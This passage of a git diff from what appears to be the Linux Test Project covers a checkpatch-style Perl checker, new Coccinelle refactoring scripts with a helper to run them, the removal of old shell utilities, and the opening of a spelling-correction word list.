+				if ($stat =~ /$test/) {
+					my $val = $1;
+					$val = $6 if ($skip_args ne "");
+					if (!($func =~ /^(?:module_param|proc_create)/ && $val eq "0") &&
+					    (($val =~ /^$Int$/ && $val !~ /^$Octal$/) ||
+					     ($val =~ /^$Octal$/ && length($val) ne 4))) {
+						ERROR("NON_OCTAL_PERMISSIONS",
+						      "Use 4 digit octal (0777) not decimal permissions\n" . "$here\n" . $stat_real);
+					}
+					if ($val =~ /^$Octal$/ && (oct($val) & 02)) {
+						ERROR("EXPORTED_WORLD_WRITABLE",
+						      "Exporting writable files is usually an error. Consider more restrictive permissions.\n" . "$here\n" . $stat_real);
+					}
+				}
+			}
+		}
+
+# check for uses of S_<PERMS> that could be octal for readability
+		while ($line =~ m{\b($multi_mode_perms_string_search)\b}g) {
+			my $oval = $1;
+			my $octal = perms_to_octal($oval);
+			if (WARN("SYMBOLIC_PERMS",
+				 "Symbolic permissions '$oval' are not preferred. Consider using octal permissions '$octal'.\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\Q$oval\E/$octal/;
+			}
+		}
+
+# validate content of MODULE_LICENSE against list from include/linux/module.h
+		if ($line =~ /\bMODULE_LICENSE\s*\(\s*($String)\s*\)/) {
+			my $extracted_string = get_quoted_string($line, $rawline);
+			my $valid_licenses = qr{
+						GPL|
+						GPL\ v2|
+						GPL\ and\ additional\ rights|
+						Dual\ BSD/GPL|
+						Dual\ MIT/GPL|
+						Dual\ MPL/GPL|
+						Proprietary
+					}x;
+			if ($extracted_string !~ /^"(?:$valid_licenses)"$/x) {
+				WARN("MODULE_LICENSE",
+				     "unknown module license " . $extracted_string . "\n" . $herecurr);
+			}
+		}
+
+# check for sysctl duplicate constants
+		if ($line =~ /\.extra[12]\s*=\s*&(zero|one|int_max)\b/) {
+			WARN("DUPLICATED_SYSCTL_CONST",
+				"duplicated sysctl range checking value '$1', consider using the shared one in include/linux/sysctl.h\n" . $herecurr);
+		}
+	}
+
+	# If we have no input at all, then there is nothing to report on
+	# so just keep quiet.
+	if ($#rawlines == -1) {
+		exit(0);
+	}
+
+	# In mailback mode only produce a report in the negative, for
+	# things that appear to be patches.
+	if ($mailback && ($clean == 1 || !$is_patch)) {
+		exit(0);
+	}
+
+	# This is not a patch, and we are in 'no-patch' mode so
+	# just keep quiet.
+	if (!$chk_patch && !$is_patch) {
+		exit(0);
+	}
+
+	if (!$is_patch && $filename !~ /cover-letter\.patch$/) {
+		ERROR("NOT_UNIFIED_DIFF",
+		      "Does not appear to be a unified-diff format patch\n");
+	}
+	if ($is_patch && $has_commit_log && $chk_signoff) {
+		if ($signoff == 0) {
+			ERROR("MISSING_SIGN_OFF",
+			      "Missing Signed-off-by: line(s)\n");
+		} elsif ($authorsignoff != 1) {
+			# authorsignoff values:
+			# 0 -> missing sign off
+			# 1 -> sign off identical
+			# 2 -> names and addresses match, comments mismatch
+			# 3 -> addresses match, names different
+			# 4 -> names match, addresses different
+			# 5 -> names match, addresses excluding subaddress details (refer RFC 5233) match
+
+			my $sob_msg = "'From: $author' != 'Signed-off-by: $author_sob'";
+
+			if ($authorsignoff == 0) {
+				ERROR("NO_AUTHOR_SIGN_OFF",
+				      "Missing Signed-off-by: line by nominal patch author '$author'\n");
+			} elsif ($authorsignoff == 2) {
+				CHK("FROM_SIGN_OFF_MISMATCH",
+				    "From:/Signed-off-by: email comments mismatch: $sob_msg\n");
+			} elsif ($authorsignoff == 3) {
+				WARN("FROM_SIGN_OFF_MISMATCH",
+				     "From:/Signed-off-by: email name mismatch: $sob_msg\n");
+			} elsif ($authorsignoff == 4) {
+				WARN("FROM_SIGN_OFF_MISMATCH",
+				     "From:/Signed-off-by: email address mismatch: $sob_msg\n");
+			} elsif ($authorsignoff == 5) {
+				WARN("FROM_SIGN_OFF_MISMATCH",
+				     "From:/Signed-off-by: email subaddress mismatch: $sob_msg\n");
+			}
+		}
+	}
+
+	print report_dump();
+	if ($summary && !($clean == 1 && $quiet == 1)) {
+		print "$filename " if ($summary_file);
+		print "total: $cnt_error errors, $cnt_warn warnings, " .
+			(($check)? "$cnt_chk checks, " : "") .
+			"$cnt_lines lines checked\n";
+	}
+
+	if ($quiet == 0) {
+		# If there were any defects found and not already fixing them
+		if (!$clean and !$fix) {
+			print << "EOM"
+
+NOTE: For some of the reported defects, checkpatch may be able to
+      mechanically convert to the typical style using --fix or --fix-inplace.
+EOM
+		}
+		# If there were whitespace errors which cleanpatch can fix
+		# then suggest that.
+		if ($rpt_cleaners) {
+			$rpt_cleaners = 0;
+			print << "EOM"
+
+NOTE: Whitespace errors detected.
+      You may wish to use scripts/cleanpatch or scripts/cleanfile
+EOM
+		}
+	}
+
+	if ($clean == 0 && $fix &&
+	    ("@rawlines" ne "@fixed" ||
+	     $#fixed_inserted >= 0 || $#fixed_deleted >= 0)) {
+		my $newfile = $filename;
+		$newfile .= ".EXPERIMENTAL-checkpatch-fixes" if (!$fix_inplace);
+		my $linecount = 0;
+		my $f;
+
+		@fixed = fix_inserted_deleted_lines(\@fixed, \@fixed_inserted, \@fixed_deleted);
+
+		open($f, '>', $newfile)
+		    or die "$P: Can't open $newfile for write\n";
+		foreach my $fixed_line (@fixed) {
+			$linecount++;
+			if ($file) {
+				if ($linecount > 3) {
+					$fixed_line =~ s/^\+//;
+					print $f $fixed_line . "\n";
+				}
+			} else {
+				print $f $fixed_line . "\n";
+			}
+		}
+		close($f);
+
+		if (!$quiet) {
+			print << "EOM";
+
+Wrote EXPERIMENTAL --fix correction(s) to '$newfile'
+
+Do _NOT_ trust the results written to this file.
+Do _NOT_ submit these changes without inspecting them for correctness.
+
+This EXPERIMENTAL file is simply a convenience to help rewrite patches.
+No warranties, expressed or implied...
+EOM
+		}
+	}
+
+	if ($quiet == 0) {
+		print "\n";
+		if ($clean == 1) {
+			print "$vname has no obvious style problems and is ready for submission.\n";
+		} else {
+			print "$vname has style problems, please review.\n";
+		}
+	}
+	return $clean;
+}
diff --git a/scripts/coccinelle/cgroup-ver.cocci b/scripts/coccinelle/cgroup-ver.cocci
new file mode 100644
index 0000000..0a73e94
--- /dev/null
+++ b/scripts/coccinelle/cgroup-ver.cocci
@@ -0,0 +1,29 @@
+virtual fix
+
+@@
+expression cg, ctrl;
+@@
+
+- TST_CG_VER(cg, ctrl) == TST_CG_V1
++ TST_CG_VER_IS_V1(cg, ctrl)
+
+@@
+expression cg, ctrl;
+@@
+
+- TST_CG_VER(cg, ctrl) != TST_CG_V1
++ !TST_CG_VER_IS_V1(cg, ctrl)
+
+@@
+expression cg, ctrl;
+@@
+
+- TST_CG_VER(cg, ctrl) == TST_CG_V2
++ !TST_CG_VER_IS_V1(cg, ctrl)
+
+@@
+expression cg, ctrl;
+@@
+
+- TST_CG_VER(cg, ctrl) != TST_CG_V2
++ TST_CG_VER_IS_V1(cg, ctrl)
diff --git a/scripts/coccinelle/fix-if-assignment.cocci b/scripts/coccinelle/fix-if-assignment.cocci
new file mode 100644
index 0000000..4dad22f
--- /dev/null
+++ b/scripts/coccinelle/fix-if-assignment.cocci
@@ -0,0 +1,30 @@
+@@
+expression V, E;
+@@
+
++ V = E;
+  if (
+-	(V = E)
++ 	V
+  ) { ... }
+
+@@
+expression V, E;
+@@
+
++ V = E;
+  if (!
+-	(V = E)
++ 	V
+  ) { ... }
+
+@@
+expression V, E;
+binary operator B; 
+@@
+
++ V = E;
+  if (
+-	(V = E)
++ 	V
+  B ...) { ... }
diff --git a/scripts/coccinelle/kselftest-cgroup-to-ltp.cocci b/scripts/coccinelle/kselftest-cgroup-to-ltp.cocci
new file mode 100644
index 0000000..de064af
--- /dev/null
+++ b/scripts/coccinelle/kselftest-cgroup-to-ltp.cocci
@@ -0,0 +1,40 @@
+@@
+expression cgn, cgns;
+@@
+
+- cgn = cg_name(..., cgns);
++ cgn = tst_cg_group_mk(cg_test, cgns);
+
+@@
+expression cg, fname, data;
+@@
+
+- if (cg_write(cg, fname, data)) {
+-    ...
+- }
++ SAFE_CG_PRINT(cg, fname, data);
+
+@@
+expression cg;
+@@
+
+... when != TST_CG_VER(...)
+
+- SAFE_CG_PRINT(cg, "cgroup.subtree_control", "+memory");
++ if (TST_CG_VER(cg, "memory") != TST_CG_V1)
++    SAFE_CG_PRINT(cg, "cgroup.subtree_control", "+memory");
+
+@@
+expression cg, fname, needle;
+@@
+
+- cg_read_strstr(cg, fname, needle)
++ !SAFE_CG_OCCURSIN(cg, fname, needle)
+
+@@
+identifier l;
+expression cg, fname;
+@@
+
+- l = cg_read_long(cg, fname);
++ SAFE_CG_SCANF(cg, fname, "%ld", &l);
diff --git a/scripts/coccinelle/libltp-test-macro-vars.cocci b/scripts/coccinelle/libltp-test-macro-vars.cocci
new file mode 100644
index 0000000..e0fe4e2
--- /dev/null
+++ b/scripts/coccinelle/libltp-test-macro-vars.cocci
@@ -0,0 +1,15 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+// Copyright (c) 2021 SUSE LLC  <rpalethorpe@suse.com>
+
+// Find violations of LTP-002
+@ find_use exists @
+expression E;
+@@
+
+(
+* TST_ERR
+|
+* TST_RET
+|
+* TTERRNO | E
+)
diff --git a/scripts/coccinelle/libltp-test-macro.cocci b/scripts/coccinelle/libltp-test-macro.cocci
new file mode 100644
index 0000000..04b0aa3
--- /dev/null
+++ b/scripts/coccinelle/libltp-test-macro.cocci
@@ -0,0 +1,107 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+// Copyright (c) 2021 SUSE LLC  <rpalethorpe@suse.com>
+
+// Find and fix violations of rule LTP-002
+
+// Set with -D fix
+virtual fix
+
+// Find all positions where TEST is _used_.
+@ depends on !fix exists @
+@@
+
+* TEST(...);
+
+// Below are rules which will create a patch to replace TEST usage
+// It assumes we can use the ret var without conflicts
+
+// Fix all references to the variables TEST modifies when they occur in a
+// function where TEST was used.
+@ depends on fix exists @
+@@
+
+ TEST(...)
+
+ <...
+
+(
+- TST_RET
++ ret
+|
+- TST_ERR
++ errno
+|
+- TTERRNO
++ TERRNO
+)
+
+ ...>
+
+// Replace TEST in all functions where it occurs only at the start. It
+// is slightly complicated by adding a newline if a statement appears
+// on the line after TEST(). It is not clear to me what the rules are
+// for matching whitespace as it has no semantic meaning, but this
+// appears to work.
+@ depends on fix @
+identifier fn;
+expression tested_expr;
+statement st;
+@@
+
+  fn (...)
+  {
+- 	TEST(tested_expr);
++	const long ret = tested_expr;
+(
++
+	st
+|
+
+)
+	... when != TEST(...)
+  }
+
+// Replace TEST in all functions where it occurs at the start
+// Functions where it *only* occurs at the start were handled above
+@ depends on fix @
+identifier fn;
+expression tested_expr;
+statement st;
+@@
+
+  fn (...)
+  {
+- 	TEST(tested_expr);
++	long ret = tested_expr;
+(
++
+	st
+|
+
+)
+	...
+  }
+
+// Add ret var at the start of a function where TEST occurs and there
+// is not already a ret declaration
+@ depends on fix exists @
+identifier fn;
+@@
+
+  fn (...)
+  {
++	long ret;
+	... when != long ret;
+
+	TEST(...)
+	...
+  }
+
+// Replace any remaining occurrences of TEST
+@ depends on fix @
+expression tested_expr;
+@@
+
+- 	TEST(tested_expr);
++	ret = tested_expr;
+
diff --git a/scripts/coccinelle/run-spatch.sh b/scripts/coccinelle/run-spatch.sh
new file mode 100755
index 0000000..bbc92a2
--- /dev/null
+++ b/scripts/coccinelle/run-spatch.sh
@@ -0,0 +1,118 @@
+#!/bin/sh -eu
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2021 SUSE LLC  <rpalethorpe@suse.com>
+
+# Helper for running spatch Coccinelle scripts on the LTP source tree
+
+if [ ! -d lib ] || [ ! -d scripts/coccinelle ]; then
+    echo "$0: Can't find lib or scripts directories. Run me from top src dir"
+    exit 1
+fi
+
+do_fix=no
+
+# Run a script on the lib dir
+libltp_spatch() {
+    echo libltp_spatch $*
+
+    if [ $do_fix = yes ]; then
+	spatch --dir lib \
+	       --ignore lib/parse_opts.c \
+	       --ignore lib/newlib_tests \
+	       --ignore lib/tests \
+	       --use-gitgrep \
+	       --in-place \
+	       -D fix \
+	       --include-headers \
+	       $*
+	spatch --dir include \
+	       --use-gitgrep \
+	       --in-place \
+	       -D fix \
+	       --include-headers \
+	       $*
+    else
+	spatch --dir lib \
+	       --ignore lib/parse_opts.c \
+	       --ignore lib/newlib_tests \
+	       --ignore lib/tests \
+	       --use-gitgrep \
+	       --include-headers \
+	       $*
+	spatch --dir include \
+	       --use-gitgrep \
+	       --include-headers \
+	       $*
+    fi
+}
+
+tests_spatch() {
+        echo tests_spatch $*
+
+        if [ $do_fix = yes ]; then
+	    spatch --dir testcases \
+		   --dir lib/newlib_tests \
+		   --use-gitgrep \
+		   --in-place \
+		   -D fix \
+		   --include-headers \
+		   $*
+	else
+	    spatch --dir testcases \
+		   --dir lib/newlib_tests \
+		   --use-gitgrep \
+		   --include-headers \
+		   $*
+	fi
+}
+
+usage()
+{
+    cat <<EOF
+Usage:
+$0 [ -f ] <patch basename> [ <patch basename> [...] ]
+$0 -h
+
+Options:
+-f	Apply the semantic patch in-place to fix the code
+-h	You are reading it
+
+If run without -f then the semantic patch will only print locations
+where it matches or show a diff.
+
+EOF
+}
+
+while getopts "fh" opt; do
+    case $opt in
+	f) do_fix=yes;;
+	h|?) usage; exit $([ $opt = h ]);;
+    esac
+done
+
+shift $(($OPTIND - 1))
+
+if [ $# -eq 0 ]; then
+    echo -e "Missing semantic patch name \n"
+    usage; exit 1
+fi
+
+if [ $do_fix = yes ] && [ -n "$(git ls-files -m -d)" ]; then
+    echo "At least stage your current changes!"
+    exit 1
+fi
+
+for spatch_file in $*; do
+    case $spatch_file in
+	libltp-test-macro)
+	    libltp_spatch --sp-file scripts/coccinelle/libltp-test-macro.cocci;;
+	libltp-test-macro-vars)
+	    libltp_spatch --sp-file scripts/coccinelle/libltp-test-macro-vars.cocci \
+			  --ignore lib/tst_test.c;;
+	*)
+	    tests_spatch --sp-file scripts/coccinelle/$spatch_file.cocci;;
+    esac
+done
+
+
+
diff --git a/scripts/detect_distro.sh b/scripts/detect_distro.sh
deleted file mode 100755
index df9d927..0000000
--- a/scripts/detect_distro.sh
+++ /dev/null
@@ -1,127 +0,0 @@
-#!/bin/sh
-#
-#	Answer the question: what distro are we installing.
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, January 2010
-#
-#
-
-error() {
-	echo "${0##*/}: ERROR: $*" >&2
-}
-
-destdir=
-omit_redhat_minor_version=0
-
-while getopts "d:m" opt; do
-
-	case "$opt" in
-	d)
-		if [ ! -d "$OPTARG" ] ; then
-			error "$OPTARG doesn't exist"
-			exit 1
-		fi
-		destdir=$OPTARG
-		;;
-	m)
-		omit_redhat_minor_version=1
-		;;
-	esac
-done
-
-etc_dir="$destdir/etc"
-
-if [ ! -d "$etc_dir" ] ; then
-	error "$etc_dir doesn't exist"
-	exit 1
-fi
-
-#
-# Precedence list for files to look through for version info...
-#
-# XXX (garrcoop): add more..
-#
-for i in gentoo-release redhat-release; do
-	if [ -f "$etc_dir/$i" ] ; then
-		DISTRO_RELEASE_FILE="$i"
-		break
-	fi
-done
-
-if [ "x$DISTRO_RELEASE_FILE" = x ] ; then
-	error "Couldn't determine distro release file"
-	error "Please send an email with your distro's details, if you believe this is in error"
-	exit 1
-else
-	DISTRO_RELEASE_ABS_FILE="$etc_dir/$DISTRO_RELEASE_FILE"
-
-	case "$i" in
-	gentoo-release)
-		DISTRO=gentoo
-		RELEASE_FORMAT_FILE=1
-		;;
-	redhat-release)
-		RELEASE_FORMAT_FILE=1
-		if grep -q '^Red Hat' "$DISTRO_RELEASE_ABS_FILE"; then
-			DISTRO=redhat
-		elif grep -q '^Fedora' "$DISTRO_RELEASE_ABS_FILE"; then
-			DISTRO=fedora
-		else
-			RELEASE_FORMAT_FILE=0
-		fi
-		;;
-	esac
-
-	if [ $RELEASE_FORMAT_FILE -eq 1 ] ; then
-
-		set -- $(cat "$DISTRO_RELEASE_ABS_FILE")
-
-		while [ 1 ] ; do
-			shift
-			if [ $# -eq 0 -o "x$1" = "xrelease" ] ; then
-				if [ "x$1" = "xrelease" ] ; then
-					shift
-				fi
-				break
-			fi
-		done
-
-		case "$DISTRO" in
-		gentoo)
-			VERSION=$1
-			;;
-		fedora|redhat)
-			MAJOR_VER=$1
-			if [ $omit_redhat_minor_version -eq 0 ] && echo "$@" | grep -q '\(.*Update.*\)'; then
-				MINOR_VER=$(echo "$@" | sed -e 's/[\(\)]//g' -e 's/.*Update //')
-			fi
-			VERSION="$MAJOR_VER${MINOR_VER:+.${MINOR_VER}}"
-			;;
-		esac
-
-	fi
-
-	if [ "x$VERSION" = x ] ; then
-		error "Bad release file: $etc_dir/$DISTRO_RELEASE_FILE"
-		exit 2
-	else
-		echo "$DISTRO-$VERSION"
-	fi
-
-fi
diff --git a/scripts/git2changelog.sh b/scripts/git2changelog.sh
deleted file mode 100755
index 0ff37b2..0000000
--- a/scripts/git2changelog.sh
+++ /dev/null
@@ -1,28 +0,0 @@
-#!/bin/sh
-#
-# Dumb script for making a ChangeLog.
-#
-# Invoke like:
-#
-# scripts/git2changelog.sh --after="2010-02-01" --until="2010-02-31"
-#
-
-set -e
-
-tmp_changelog=$(mktemp /tmp/changelog.XXXXXX)
-
-trap "[ -f '$tmp_changelog' ] && rm -f '$tmp_changelog'; [ -f '$changelog~' ] && mv '$changelog~' '$changelog'" 0 2 15
-
-changelog="${0%/*}/../ChangeLog"
-
-git log --format="%nCommit: %H%nDate:   %aD%n%n%s%n%b%nChanged Files:" \
-	--name-only "$@" > "$tmp_changelog"
-
-cat "$changelog" >> "$tmp_changelog"
-
-mv "$changelog" "$changelog~"
-
-# This may take a while...
-mv "$tmp_changelog" "$changelog"
-
-rm -f "$changelog~"
diff --git a/scripts/lib/file_functions.sh b/scripts/lib/file_functions.sh
deleted file mode 100644
index 32c4331..0000000
--- a/scripts/lib/file_functions.sh
+++ /dev/null
@@ -1,71 +0,0 @@
-#!/bin/sh
-#
-# File functions utilized as part of abspath.sh, realpath.sh, etc.
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, January 2010
-#
-# POSIX compliant bourne shell functions for performing make 3.81
-# compliancy in 3.80 with a minimal set of external commands
-# [awk(1) // readlink(1) only required].
-#
-
-# 0. Strip all heading and leading space.
-# Paths:
-# 1. Empty string - print out $PWD.
-# 2. Not empty string...
-#    i. Prefix all relative paths with $PWD.
-#    ii. Replace /+ with /.
-#    iii. Replace a/b/../c with a/c
-#    iv. Replace /./ with /
-#    v. Replace trailing /. with /
-#    vi. Replace heading ./ with /
-#    vii. Replace /. with "".
-
-# testcases/kernel/controllers/libcontrollers/../../../..
-_abspath() {
-	echo "$@" | awk -v PWD=$(pwd) '{
-	sub(/^[[:space:]]+/, ""); sub(/[[:space:]]+$/, ""); # 1.
-	if ($0 == "") {
-		print PWD
-	} else {
-		if (!($0 ~ /^\//)) { # i.
-			$0 = PWD "/" $0
-		}
-		while (gsub(/\/\//, "/")) { }; # ii.
-		while (sub(/\/[^\/]+\/\.\.\/?/, "/")) { }; # iii.
-		while (sub(/\/\.\//, "/")) { }; # iv.
-		sub(/(\/\.)?\/$/, "");
-		sub(/^\.\//, "/");
-		sub(/\/\.$/, "");
-		if ($0 == "") {
-			print "/"
-		} else {
-			if ($0 == ".") {
-				print PWD
-			} else {
-				print
-			}
-		}
-	}
-}'
-}
-
-_realpath() {
-	readlink -f "$@"
-}
diff --git a/scripts/realpath.sh b/scripts/realpath.sh
deleted file mode 100755
index d05088e..0000000
--- a/scripts/realpath.sh
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/bin/sh
-#
-#    make 3.81 $(realpath .. ) emulation layer
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, January 2010
-#
-
-. "${0%/*}/lib/file_functions.sh"
-
-while [ $# -gt 0 ] ; do
-	echo -n $(_realpath "$1")
-	[ $# -gt 1 ] && echo -n " "
-	shift
-done
diff --git a/scripts/safe_rm.sh b/scripts/safe_rm.sh
deleted file mode 100755
index 68e9614..0000000
--- a/scripts/safe_rm.sh
+++ /dev/null
@@ -1,76 +0,0 @@
-#!/bin/sh
-#
-# A safe wrapper around rm(1) to avoid cleaning out folks' rootfs's or build
-# machines by accident.
-#
-#    Copyright (C) 2010, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Feel free to use this in your standard builds, or just leave it be (it has
-# been added to the build tests that should be run before each release to avoid
-# build regressions).
-#
-# Ngie Cooper, February 2010
-#
-
-. "${0%/*}/lib/file_functions.sh"
-
-opts=
-opts_parse_done=0
-
-set -e
-
-while [ $# -gt 0 ] ; do
-
-	if [ $opts_parse_done -eq 0 ] ; then
-
-		case "$1" in
-		-*)
-			[ "x$1" = "x--" ] && opts_parse_done=1
-			# None of the options to rm(1) are keyed.
-			opts="$opts $1"
-			;;
-		*)
-			opts_parse_done=1
-			;;
-		esac
-
-	fi
-
-	if [ $opts_parse_done -eq 1 ] ; then
-
-		abspath_file=$(_abspath "$1")
-
-		if [ "x$abspath_file" = "x/" ] ; then
-
-			cat <<EOF >&2
-${0##*/}: ERROR : not removing \`$1' to avoid removing root directory\!
-EOF
-			false
-
-		else
-
-			if [ "x${SIMULATE_RM:-1}" != x1 ] ; then
-				rm ${opts:--f} "$abspath_file"
-			fi
-
-		fi
-
-	fi
-
-	shift
-
-done
diff --git a/scripts/spelling.txt b/scripts/spelling.txt
new file mode 100644
index 0000000..17fdc62
--- /dev/null
+++ b/scripts/spelling.txt
@@ -0,0 +1,1609 @@
+# Originally from Debian's Lintian tool. Various false positives have been
+# removed, and various additions have been made as they've been discovered
+# in the kernel source.
+#
+# License: GPLv2
+#
+# The format of each line is:
+# mistake||correction
+#
+abandonning||abandoning
+abigious||ambiguous
+abitrary||arbitrary
+abitrate||arbitrate
+abnornally||abnormally
+abnrormal||abnormal
+abord||abort
+aboslute||absolute
+abov||above
+abreviated||abbreviated
+absense||absence
+absolut||absolute
+absoulte||absolute
+acccess||access
+acceess||access
+accelaration||acceleration
+acceleratoin||acceleration
+accelleration||acceleration
+accesing||accessing
+accesnt||accent
+accessable||accessible
+accesss||access
+accidentaly||accidentally
+accidentually||accidentally
+acclerated||accelerated
+accoding||according
+accomodate||accommodate
+accomodates||accommodates
+accordign||according
+accoring||according
+accout||account
+accquire||acquire
+accquired||acquired
+accross||across
+accumalate||accumulate
+accumalator||accumulator
+acessable||accessible
+acess||access
+acessing||accessing
+achitecture||architecture
+acient||ancient
+acitions||actions
+acitve||active
+acknowldegement||acknowledgment
+acknowledgement||acknowledgment
+ackowledge||acknowledge
+ackowledged||acknowledged
+acording||according
+activete||activate
+actived||activated
+actualy||actually
+acumulating||accumulating
+acumulative||accumulative
+acumulator||accumulator
+acutally||actually
+adapater||adapter
+addional||additional
+additionaly||additionally
+additonal||additional
+addres||address
+adddress||address
+addreses||addresses
+addresss||address
+addrress||address
+aditional||additional
+aditionally||additionally
+aditionaly||additionally
+adminstrative||administrative
+adress||address
+adresses||addresses
+adrresses||addresses
+advertisment||advertisement
+adviced||advised
+afecting||affecting
+againt||against
+agaist||against
+aggreataon||aggregation
+aggreation||aggregation
+ajust||adjust
+albumns||albums
+alegorical||allegorical
+algined||aligned
+algorith||algorithm
+algorithmical||algorithmically
+algoritm||algorithm
+algoritms||algorithms
+algorithmn||algorithm
+algorrithm||algorithm
+algorritm||algorithm
+aligment||alignment
+alignement||alignment
+allign||align
+alligned||aligned
+alllocate||allocate
+alloated||allocated
+allocatote||allocate
+allocatrd||allocated
+allocte||allocate
+allocted||allocated
+allpication||application
+alocate||allocate
+alogirhtms||algorithms
+alogrithm||algorithm
+alot||a lot
+alow||allow
+alows||allows
+alreay||already
+alredy||already
+altough||although
+alue||value
+ambigious||ambiguous
+ambigous||ambiguous
+amoung||among
+amout||amount
+amplifer||amplifier
+amplifyer||amplifier
+an union||a union
+an user||a user
+an userspace||a userspace
+an one||a one
+analysator||analyzer
+ang||and
+anniversery||anniversary
+annoucement||announcement
+anomolies||anomalies
+anomoly||anomaly
+anway||anyway
+aplication||application
+appearence||appearance
+applicaion||application
+appliction||application
+applictions||applications
+applys||applies
+appplications||applications
+appropiate||appropriate
+appropriatly||appropriately
+approriate||appropriate
+approriately||appropriately
+apropriate||appropriate
+aquainted||acquainted
+aquired||acquired
+aquisition||acquisition
+arbitary||arbitrary
+architechture||architecture
+arguement||argument
+arguements||arguments
+arithmatic||arithmetic
+aritmetic||arithmetic
+arne't||aren't
+arraival||arrival
+artifical||artificial
+artillary||artillery
+asign||assign
+asser||assert
+assertation||assertion
+assertting||asserting
+assgined||assigned
+assiged||assigned
+assigment||assignment
+assigments||assignments
+assistent||assistant
+assocaited||associated
+assocating||associating
+assocation||association
+associcated||associated
+assotiated||associated
+asssert||assert
+assum||assume
+assumtpion||assumption
+asuming||assuming
+asycronous||asynchronous
+asynchnous||asynchronous
+asynchromous||asynchronous
+asymetric||asymmetric
+asymmeric||asymmetric
+atleast||at least
+atomatically||automatically
+atomicly||atomically
+atempt||attempt
+atrributes||attributes
+attachement||attachment
+attatch||attach
+attched||attached
+attemp||attempt
+attemps||attempts
+attemping||attempting
+attepmpt||attempt
+attnetion||attention
+attruibutes||attributes
+authentification||authentication
+authenicated||authenticated
+automaticaly||automatically
+automaticly||automatically
+automatize||automate
+automatized||automated
+automatizes||automates
+autonymous||autonomous
+auxillary||auxiliary
+auxilliary||auxiliary
+avaiable||available
+avaible||available
+availabe||available
+availabled||available
+availablity||availability
+availaible||available
+availale||available
+availavility||availability
+availble||available
+availiable||available
+availible||available
+avalable||available
+avaliable||available
+aysnc||async
+backgroud||background
+backword||backward
+backwords||backwards
+bahavior||behavior
+bakup||backup
+baloon||balloon
+baloons||balloons
+bandwith||bandwidth
+banlance||balance
+batery||battery
+beacuse||because
+becasue||because
+becomming||becoming
+becuase||because
+beeing||being
+befor||before
+begining||beginning
+beter||better
+betweeen||between
+bianries||binaries
+bitmast||bitmask
+boardcast||broadcast
+borad||board
+boundry||boundary
+brievely||briefly
+brigde||bridge
+broadcase||broadcast
+broadcat||broadcast
+bufer||buffer
+bufufer||buffer
+cacluated||calculated
+caculate||calculate
+caculation||calculation
+cadidate||candidate
+cahces||caches
+calender||calendar
+calescing||coalescing
+calle||called
+callibration||calibration
+callled||called
+callser||caller
+calucate||calculate
+calulate||calculate
+cancelation||cancellation
+cancle||cancel
+canot||cannot
+capabilites||capabilities
+capabilties||capabilities
+capabilty||capability
+capabitilies||capabilities
+capablity||capability
+capatibilities||capabilities
+capapbilities||capabilities
+caputure||capture
+carefuly||carefully
+cariage||carriage
+catagory||category
+cehck||check
+challange||challenge
+challanges||challenges
+chache||cache
+chanell||channel
+changable||changeable
+chanined||chained
+channle||channel
+channnel||channel
+charachter||character
+charachters||characters
+charactor||character
+charater||character
+charaters||characters
+charcter||character
+chcek||check
+chck||check
+checksumed||checksummed
+checksuming||checksumming
+childern||children
+childs||children
+chiled||child
+chked||checked
+chnage||change
+chnages||changes
+chnnel||channel
+choosen||chosen
+chouse||chose
+circumvernt||circumvent
+claread||cleared
+clared||cleared
+closeing||closing
+clustred||clustered
+cnfiguration||configuration
+coexistance||coexistence
+colescing||coalescing
+collapsable||collapsible
+colorfull||colorful
+comand||command
+comit||commit
+commerical||commercial
+comming||coming
+comminucation||communication
+commited||committed
+commiting||committing
+committ||commit
+commnunication||communication
+commoditiy||commodity
+comsume||consume
+comsumer||consumer
+comsuming||consuming
+compability||compatibility
